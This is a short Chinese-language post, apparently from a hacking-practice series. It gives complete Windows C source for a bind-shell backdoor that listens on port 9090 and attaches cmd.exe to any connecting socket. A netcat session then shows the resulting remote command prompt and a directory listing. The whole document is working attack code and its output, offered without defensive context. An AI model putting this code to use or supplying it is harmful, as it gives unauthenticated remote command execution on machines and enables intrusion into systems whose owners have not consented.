源代码：
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
#define LISTEN_PORT 9090
int main() {
WSADATA ws;
SOCKET listenFD;
int ret;
WSAStartup(MAKEWORD(2, 2), &ws);
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(LISTEN_PORT);
server.sin_addr.s_addr = ADDR_ANY;
ret = bind(listenFD, (sockaddr *) &server, sizeof(server));
if (SOCKET_ERROR == ret) {
wprintf(L"bind failed:%d", WSAGetLastError());
return 0;
}
ret = listen(listenFD, 2);
if (SOCKET_ERROR == ret) {
wprintf(L"listen failed:%d", WSAGetLastError());
return 0;
}
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD, (sockaddr *) &server, &iAddrSize);
if (INVALID_SOCKET == clientFD) {
wprintf(L"accept failed:%d", WSAGetLastError());
return 0;
}
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *) clientFD;
PROCESS_INFORMATION pi;
TCHAR app_spawn[] = L"C:\\WINDOWS\\system32\\cmd.exe";
if (!CreateProcess(app_spawn, NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
wprintf(L"CreateProcess failed:%d", GetLastError());
return 0;
}
return 0;
}
运行，然后用nc连上去：
D:\>nc 127.0.0.1 9090
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
D:\My Documents\Visual Studio 2010\Projects\hacker\05_2>dir
dir
驱动器 D 中的卷是 本地磁盘
卷的序列号是 6C97-9E44
D:\My Documents\Visual Studio 2010\Projects\hacker\05_2 的目录
2013-07-22 08:14 <DIR> .
2013-07-22 08:14 <DIR> ..
2013-07-22 22:20 1,053 05_2.cpp
2013-07-22 08:14 3,918 05_2.vcxproj
2013-07-22 08:14 942 05_2.vcxproj.filters
2013-07-22 08:14 143 05_2.vcxproj.user
2013-07-22 22:20 <DIR> Release
4 个文件 6,056 字节
3 个目录 34,145,611,776 可用字节
D:\My Documents\Visual Studio 2010\Projects\hacker\05_2>exit
exit
D:\>
